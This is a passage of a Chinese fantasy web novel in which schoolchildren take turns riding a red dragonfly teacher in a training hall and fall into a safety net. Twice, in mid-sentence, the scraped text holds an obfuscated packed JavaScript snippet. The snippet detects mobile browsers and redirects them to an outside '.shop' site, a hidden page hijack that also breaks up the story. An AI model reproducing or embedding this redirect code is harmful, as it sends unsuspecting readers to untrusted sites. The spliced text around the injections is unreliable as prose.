“同学们！今天是我带着大家一起看天，以后每一天早上、中午、傍晚，上学放学的路上，大家都可以带着自己的伙伴们，一起去抬头看一看头顶的这片天空，可以去感受思考，也可以什么都不想。”潘妮老师说，“总之，多看一看天空吧！这绝不会是在浪费时间的！” 抬头看天确实是非常轻松没有压力的课程了，但还是有人一闲下来就着急—— “老师，什么时候能教我们飞啊？”柯林抬头看着在天空中越飞越稳的旭日班们，忍不住开始焦虑起来，“我们的进度落下好多哦……” 潘妮老师嘿嘿一笑，伸手拍了拍他的脑袋：“这么着急啊？可是你们的伙伴们自己都还飞不稳呢。” 这话一说，柯林便觉得心里凉了半截，连安泽都忍不住叹了口气——看样子，她是打算在这个后进班里教一个学期的理论与感悟了。 潘妮老师又道：“那你们觉得自己有驭兽飞行的能力了吗？可以和他们一样骑着飞兽飞行吗？” 怎么听都觉得潘妮老师是在劝他们别想一步登天，可哈伦倒是来劲了：“试试呗！万一成呢！” 没想到潘妮老师话锋一转：“那就来试试？” 于是，就连快要睡着的安泽都一个激灵坐了起来——这个老师上课怎么能这样想一出是一出。 十分钟之后，一行人抱着自己的飞兽，跟着潘妮老师和阿夜从操场移步到了室内训练场，场地里有着功能各异的训练设备，作为一年级新生的孩子们从来没有机会真正接触过，第一次看倒是真的新奇。 进门直接看到的是“模拟区”，几台巨大复杂的精密机器便摆放在了各个位置，潘妮老师张开双臂：“先来简单看看你们日后会经常用到的这些大家伙们吧！谁能猜猜这些都是干什么用的？” 这些机器各个都有两三层楼高，连接着各式各样的动力装置和齿轮机械，乍一看上去简直是晕头转向，完全猜不出个所以然来。直到长久的沉默之后，安泽的声音宛如一棵不怎么健康的草苗，松松垮垮从土里钻了出来：“辅助飞行模拟器、气动阻力对抗舱、多轴平衡训练平台……” “专业！”潘妮给了一个大拇指，安泽没有喜悦，只是又疲惫地闭回了眼睛——自家爸妈就是机械师，这点东西对他来说完全就是基础中的基础。同样的他也清楚，这些玩意儿自己一个都没法用，每一台机器都需要手脚合作，需要腿部发力，自己到这里来，根本只有看着难受和羡慕的份。 “这些东西，以后我会请专业的老师来教你们，学会之后你们就可以自己申请来训练咯。”潘妮老师道，“既然大家都很期待真正飞一次，那我们今天就直接动真格的吧！都跟我来！” 一听要动真格的，除了安泽之外所有的人都兴奋起来。大家一拥而上，紧紧跟在潘妮老师身后，来到了训练场的“实战区”。 实战区是一片巨大空旷的下沉场地，场地四周的墙面都包裹着厚实的防撞材料，房顶有悬吊下来的活动安全绳索，地面的落差之下也是柔软的弹网，这个上上下下都做好安全措施的场所，显然是最适合毫无经验的新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673169|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手解馋的好地方。 大家站在门口，跃跃欲试地朝场地另一边紧闭的门看去，潘妮老师一个响指，肩上的阿夜便飞跃起来，朝门的那头“咕咕咕”叫了几声，紧接着，便听到了一声嗡嗡声响，门缓缓打开—— 在大家的注视之中，一只小车大小的红蜻蜓扇着翅膀飞了出来，和其他的飞兽飞行时的上下起伏不同，蜻蜓几乎是以悬停的方式出现在了半空，稳稳当当的，像是停在水面上的一叶静舟。 “这位是九月老师，是一只出生在九月的红蜻蜓，优势是飞行状态特别平稳安全。”潘妮老师介绍道，“它会带你们体验简单基础的飞行感受，这是一件很辛苦的工作，你们记得要跟老师说谢谢哦。” 于是同学们便立刻异口同声地道：“谢谢九月老师！” 红蜻蜓九月在天空中转了个圈，虽然没人看懂，但应当是对大家礼貌的回应。 简单听潘妮老师介绍完规则之后，柯林便自告奋勇地第一个冲了上去。 潘妮老师认真地帮他寄好了安全绳，再三确认没有隐患之后，九月低低停到了柯林的脚边，饼饼也紧张地趴到了柯林的头顶上。 柯林看了看脚下的红蜻蜓，刚准备抬腿，忽然紧绷着嗓子小声念叨了一句：“天啊，怎么这么高……” 刚进门的时候大家便知道，这场地的下方是有高度差的，只是站到这里柯林才发现，这高度差至少有两层楼的样子，虽然有结实的弹网兜底，但是站在旁边还是感觉有些晕晕的。 潘妮老师见他犹豫，开口安慰道：“别害怕，目光聚焦在九月老师身上，不要到处乱看，就像我刚才说的那样，想象自己正在骑车就好。” 说话间，柯林找到了感觉，他抬起腿，小心翼翼跨坐在了红蜻蜓的脖子上。坐上去的一瞬间，他感觉蜻蜓的身子微微向下一沉，虽然很快就稳住了，但是还是吓得他浑身一个激灵，连带着头顶上的饼饼都“汪”地一声，向半空中扑棱了一下。 “准备好了吗？”身后传来潘妮老师的声音。 柯林想说还需要再准备一下，但是一低头，又一阵浑身紧绷，连嗓子都被绷得说不出话来。 没准备好，哪哪儿都没准备好。真骑上来的时候，柯林才觉得和骑车简直是天差地别，他的脚够不着地，手也不知道抓在哪里，这蜻蜓背上光溜溜的，身子直起来双腿夹不住，趴下去又什么也看不清…… 柯林背上冒起冷汗，心里开始后悔不该第一个自告奋勇。他觉得自己是准备不好了，怕老师同学们等的太久，只能硬着头皮睁眼说瞎话：“准、准备好了……” 下一秒，红蜻蜓扑棱起翅膀缓缓上升，所有人眼睁睁地看着柯林在如此平稳的上升之中扑棱着双臂、左右剧烈晃动起来。 接着一声“啊”一声“汪”，两声脆脆的惨叫划过。饼饼像手绢一样被甩到一边，柯林就这样“咻”地一下，从半空掉落下去。 18.第 18 章 场地下沉的高度差相当之深，所以哪怕所有人都知道柯林并没有危险，看到他就这样直勾勾掉下去的瞬间，大家还是惊呼一声围了过去。直到看着深陷弹力网中的柯林以双腿冲天的诡异姿势蠕动着爬起，大家才不约而同松了口气。 只是被甩到平台上的饼饼着急了，没等一边的瑞秋把它从地上抱起来，它就飞快扇动着胸鳍冲向场地中央，然后瞄准了柯林的位置骤地一收力，然后摊饼一般啪叽一声盖到柯林的头上。 被拍得脑袋一声脆响的柯林再度惨叫：“嗷！” 安泽本来根本无心参与这种与他无关的活动，但看到柯林出了洋相，不得不摇着轮椅过去凑起热闹：“柯林啊……” 话还没说完，网兜里的柯林便“咻”地伸手指过去：“你给我闭嘴！” 潘妮老师站到台边，看着手腕上的机械秒表，笑着对柯林喊道：“五秒，还有很大进步的空间。” 柯林崩溃地用饼饼盖住脸：“这个真的比想象中难很多！” 在潘妮老师的指挥之下，同学们齐力拉着安全绳，将柯林从坑里拉了上来，紧接着，第二位挑战者便也跃跃欲试了—— “我来我来！”哈伦走到台边，看着不远处的九月搓搓手，又问柯林，“我刚刚观察了一下，你上去之后重心没找对，是慌了吗？” 柯林还沉浸在高坠的余韵中无法自拔，只摆摆手说：“你试试就知道了，跟平地上看的感觉完全不一样。” 哈伦点点头，非常灵活地骑到了蜻蜓的背上，结果屁股刚一落座，就听“喔吼”一声，连人带蜻蜓一起整个直直坠了下去！ “妈呀！他真的太重了！！”谢伊惊恐道。 这石沉大海的画面实在太过突然，连潘妮老师都被狠狠吓到，眼看着她倒抽一口凉气，双眼朝上一翻，又要昏死过去，几个岸上的孩子立刻围过去，又是扶人又是掐人中又是撕心裂肺地喊着老师的名字，瞬间乱成一锅粥。 好在潘妮老师强大的意志力将她的思绪拉了回来，她一个深呼吸缓过劲来，浑身打了个颤儿，还没完全睁开眼便朝场地的方向喊道：“哈伦……！别压着九月老师！！它的翅膀很脆！” 于是就听一连串的“喔呀嚯嘿”，大家再凑过去的时候，便看到弹力网的底部，哈伦仰面躺倒垫在下边，怀里还紧紧抱着个肚皮朝天、翅膀乱颤的大蜻蜓。 哈伦瞪着眼睛仔细看了看蜻蜓的翅膀，肚皮把蜻蜓顶得一上一下，瞅了半天才喘着粗气儿跟老师汇报道：“没事儿……没事儿！九月老师没事儿！九月老师对不起！！我不是故意的！！” 潘妮扶着脑袋喊道：“你呢？你要不要紧——？” 哈伦这次倒是回应得迅速又干脆：“我也没事儿！！我抓得可稳了！！” 听到这话，怀里蜻蜓的翅膀倒是颤动得更剧烈了，“滋滋”乱响着，显然是在叫他快松手。 哈伦松手放开蜻蜓之后，潘妮老师又喊来附近两名男老师，才勉强把人拉了上来。而刚刚被迫坠机的九月老师在网底趴了好半天才缓过劲来，再飞到平台上时，那两片雾蒙蒙的复眼中，似乎都透露出了淡淡的迷茫和自我怀疑。 潘妮老师擦了擦汗，又上下打量了一圈哈伦，后知后觉道：“你看上去没有重到那么夸张的程度啊！” 确实，哈伦看上去只是比常人胖了些许，甚至行动上比平常人还要敏捷一些，但是刚刚拉他的手感，几乎能有两个柯林那么重！ 哈伦嘿嘿笑道：“主要我胖得很结实！看起来胖但其实是实心的！” 潘妮老师拍了拍他，深吸一口气，似乎想说什么却又没说出口，最后只是道：“……不过你操作意识还挺正确的，就像是你刚刚说的，重心很稳，四肢发力也是对的，第一次来说挺不错的！” 哈伦立刻喜笑颜开：“那太好啦！我可真厉害啊！” 一旁的谢伊乐起来，拍了拍他敦实的后背：“你还是先想想怎么让你的蜜蜂们带得动你吧！你这个问题可比柯林严重多了！” 哈伦依旧无所谓地耸耸肩，爽朗道：“问题不大！总会有办法解决啦~” 潘妮老师瘫坐在一旁缓了许久，九月也停在了一旁的平台上半眯起眼睛来，等潘妮缓过劲来喂它吃了点新鲜鱼苗，又让阿夜跟它聊了会天，这位坚强的飞兽老师又振作起来，重新飞到了师生面前。 潘妮老师抹了一把脸，重新挤出魏潇：“好嘞，那么谁想下一个试试？” 剩下的三个人又一次默契地给出沉默，大家面面相觑了几秒钟之后，谢伊无奈举手道：“我吧……但是我真的不喜欢飞啊。” “试试吧！人活着总不可能永远只做自己喜欢的事情嘛~”潘妮笑着把她推到平台边，接着又谨慎道，“你体重应该不夸张吧……” 谢伊乐道：“我是正常人密度！” 这个女孩子虽然嘴上说着不喜欢飞，但其实动作流畅没有丝毫拖泥带水，只是骑跨上去的一瞬间也跟柯林一样，免不了一阵面露难色。 潘妮老师站在场边，也不着急替她发号施令，而是不紧不慢地跟她聊了起来：“听说你之前也跟着家里人骑过飞兽，有总结什么经验或者受到什么启发吗？” “我就学了点基础的东西。”半空中，谢伊已经痛苦地闭上了眼，“最大的启发就是看明白了我的内心，我根本不是飞上天的料。” 潘妮耐心地问道：“为什么？是怕高吗？” “不是……”谢伊道，“我很讨厌飞行过程中的失重感，感觉身体都要散架了……而且，我真的不觉得飞上天有什么好玩的……我没办法喜欢上这种事情。” 听到这句话，一旁闭着眼睛补觉的安泽又被气得睁开了眼，要不是跟她真的不熟，那张淬了毒的嘴肯定要忍不住发力了。 但是潘妮老师没有说什么，只是望着她，耐心道：“那你要不要继续？受不了的话可以随时下来。” “试试吧。”谢伊调整好坐姿，潘妮老师立刻夸道：“动作很标准！大家可以观察一下她是怎么做的。” 随着谢伊释放出可以开始的信号，蜻蜓“滋”的一声在半空缓缓平移起来。很显然，在同一高度平移是她完全可以承受得住的，柯林看着秒表，感叹道：“哇哦真厉害！已经打破了我的纪录了！！” 安泽忍不住抬起头看他：“如果柯林的纪录都没有人可以打破的话，那我们班现在就该原地解散回家去干农活了。” 柯林怒瞪了他一眼，又转头去观察谢伊的动作了。 经过一次实战教学，谢伊的驭兽动作明显比他们娴熟很多，但也看得出来她十分紧张，虽然操作流程都标准得无可挑剔，但是全身紧绷到微微发着抖了。 “滋嗡！”在半空匀速平移了一圈之后，九月发出了一声信号。潘妮老师立刻对她道：“谢伊，准备要上升咯！” 下一秒，九月的身体和谢伊的惨叫是同一时刻飞上天去的，尽管在岸上的人看来，蜻蜓上升的速度非常平和缓慢，但谢伊还是发出了宛如被怪力甩出天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691870|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际般的悲鸣：“啊啊！救命——！！” 话音还没落，谢伊就像一根枯死的树枝般，毫无求生欲望地笔直落了下去。 潘妮老师确认了她的安全，这才举起手表道：“一分钟十五秒！很厉害了！” 直挺挺躺在网底的谢伊生无可恋道：“这个厉害我不想要，我真的投降了。” 一直被大家打捞上来的时候，谢伊还是一副灵魂出窍的模样，连老师跟她说话她都是听三句只能答半句，看样子确实吓得不轻——安泽忽然有那么一点同情她了。 谢伊完成了她走得最艰难的过场，剩下的就是安泽和瑞秋了。安泽早已经在潘妮老师看过来的一瞬间闭上眼、紧急进入了休眠状态，只剩下瑞秋无助地和潘妮老师对视上：“到你咯？瑞秋？” 所有人都看到，她第一反应是后撤一步打算逃跑的，但是所有人也都看到，在她逃避的一瞬间，头顶那只睡觉的狮鹫忽然张开翅膀呈威吓状，接着飞到半空抬起脚朝她的后背狠狠一踢，逃跑的瑞秋一个趔趄被踹到了老师面前：“我……我来……” 瑞秋实在是太过内向胆小，以至于站在那里，比永远坐着睡觉的安泽还没有存在感。哈伦看她畏畏缩缩的模样，抬手给她加油打气：“别紧张！你那么瘦那么轻，肯定坚持的时间比我长！” 安泽想说，世界上也再不会有比零秒更短的时间了，但是又怕一句话把人讲哭了，于是便闭上嘴，继续睡起来。 柯林安慰她，说：“没关系的，大家第一次都很狼狈，没有人会笑话你的！” 谢伊也缓过劲来，对她说：“害怕就提前跟老师讲，让她提前放你下来，九月老师还是很温柔的。” 大家都安慰了一圈，只剩下安泽了，他有些无措地睁开眼，憋了半天只憋出两个字：“……加油。” “……谢谢！”临上场前，瑞秋几乎是鼓起了全部勇气向大家鞠了一躬，然后转过身，走向悬停在半空中的蜻蜓。 不知是不是错觉，安泽总觉得这女孩走路的动作并不像她本人表现的那样紧绷。紧接着，她在所有人的注视下翻身而上，动作居然透出一丝诡异且违和的干练。 紧接着，她开始调整坐姿，很显然是在回忆刚才谢伊做出的正确示范，她动作记得很准，只是不大相信自己：“是……是这样吗？” 潘妮老师立刻回应：“完全正确！你学的太快了！！” 瑞秋的脸被一句话夸得红到了耳朵根，她的表情还是那么紧张恐慌，但是安泽分明看见在她做好姿势的一瞬间，她的双腿和双臂，都显露出了极其流畅明显的肌肉线条。 安泽意识到有些事情和预期严重不符的时候，瑞秋已经骑着蜻蜓飞到了他们的头顶上，按照潘妮老师的话说，九月老师有自己的判断，它会根据学生的能力调整飞行的难度。 于是，他们就这样眼睁睁看着这个连一句话都难说完整的女孩子，骑着这个大家最多坚持一分多钟平移的叛逆大蜻蜓，在面前的场地平移、上升、下降、转弯、漂移、疾驰…… 最后，在大蜻蜓原地开始风车一般旋转的时候，瑞秋终于被甩到了身下的网兜之中。她的表情还是那么战战兢兢，所有人凑上去看她的一瞬间，她甚至差点都被吓哭了。 同样快被吓哭了的，还有围观了整个过程的同班同学们。 这一天，邪恶狮鹫专挑软柿子狂捏的谣言不攻自破。也是从那一天起，柯林和哈伦逢人便要过去吹牛，说他们班的狮鹫可比索尔老师看人更准。